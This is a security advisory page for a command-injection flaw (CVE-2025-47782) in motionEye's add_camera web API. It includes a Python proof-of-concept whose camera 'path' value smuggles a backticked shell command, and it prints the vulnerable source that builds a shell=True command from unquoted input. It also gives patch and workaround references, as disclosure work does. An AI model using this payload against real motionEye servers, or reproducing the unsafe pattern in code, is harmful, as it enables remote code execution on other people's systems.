motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution
Summary
Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.
function call stack
postadd_cameraconfig.add_camerav4l2ctl.list_resolutionsutils.call_subprocesssubprocess.run
PoC
build
RUN_USER="user"
RUN_UID=$(id -u ${RUN_USER})
RUN_GID=$(id -g ${RUN_USER})
TIMESTAMP="$(date '+%Y%m%d-%H%M')"
docker build \
--network host \
--build-arg="RUN_UID=${RUN_UID?}" \
--build-arg="RUN_GID=${RUN_GID?}" \
-t "${USER?}/motioneye:${TIMESTAMP}" \
--no-cache \
-f docker/Dockerfile .
reproduce
Run:
docker run --rm -d -p 8765:8765 --hostname="motioneye" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneye
bash-4.2$ docker logs ceb435eacf55 -f
configure_logging cmd motioneye: False
configure logging to file: None
INFO: hello! this is motionEye server 0.43.1b3
DEBUG: found motion executable "/usr/bin/motion" version "4.7.0"
DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1"
DEBUG: listing config dir /etc/motioneye...
DEBUG: found camera with id 1
DEBUG: reading camera config from /etc/motioneye/camera-1.conf...
DEBUG: loading additional config structure for camera, without separators
DEBUG: Using selector: EpollSelector
DEBUG: searching motion executable
DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0"
INFO: cleanup started
INFO: wsswitch started
INFO: tasks started
INFO: mjpg customer garbage collector has started
INFO: server started
Now, run the following script to attack motionEye:
import requests
import json
url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"
payload = json.dumps({
"proto": "v4l2",
"path": "' `touch /tmp/bbbb` '"
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)
Discussion
It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability
def list_resolutions(device):
from motioneye import motionctl
device = utils.make_str(device)
if device in _resolutions_cache:
return _resolutions_cache[device]
logging.debug(f'listing resolutions of device {device}...')
resolutions = set()
output = b''
started = time.time()
cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
logging.debug(f'running command "{cmd}"')
try:
output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
except:
logging.error(f'failed to list resolutions of device "{device}"')
output = utils.make_str(output)
def call_subprocess(
args,
stdin=None,
input=None,
stdout=subprocess.PIPE,
stderr=DEV_NULL,
capture_output=False,
shell=False,
cwd=None,
timeout=None,
check=True,
encoding='utf-8',
errors=None,
text=None,
env=None,
) -> str:
"""subprocess.run wrapper to return output as a decoded string"""
return subprocess.run(
args,
stdin=stdin,
input=input,
stdout=stdout,
stderr=stderr,
capture_output=capture_output,
shell=shell,
cwd=cwd,
timeout=timeout,
check=check,
encoding=encoding,
errors=errors,
text=text,
env=env,
).stdout.strip()
Impact
RCE
Patches
The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143
Workarounds
Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch
References
https://github.com/motioneye-project/motioneye/issues/3142
Credit
The vulnerability was discovered by Tencent YunDing Security Lab.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | motioneye | >= 0.43.1b1, < 0.43.1b4 | 0.43.1b4 |
References
- https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588
- https://github.com/motioneye-project/motioneye/issues/3142
- https://github.com/motioneye-project/motioneye/pull/3143
- https://nvd.nist.gov/vuln/detail/CVE-2025-47782
- https://github.com/motioneye-project/motioneye
- https://github.com/pypa/advisory-database/tree/main/vulns/motioneye/PYSEC-2025-39.yaml
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P- Weakness (CWE)
CWE-78- Platform
- Python (PyPI)
- Package
motioneye- Disclosed
- 14.05.2025
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2025-39 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-g5mq-prx7-c588 - CC BY 4.0
Vulnerability history: motioneye
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 11
- First → latest
- 02.2022 06.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 5
- Medium 3
Disclosures per year
- 2022: 2
- 2023: 0
- 2024: 0
- 2025: 2
- 2026: 7
-
motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution this entry
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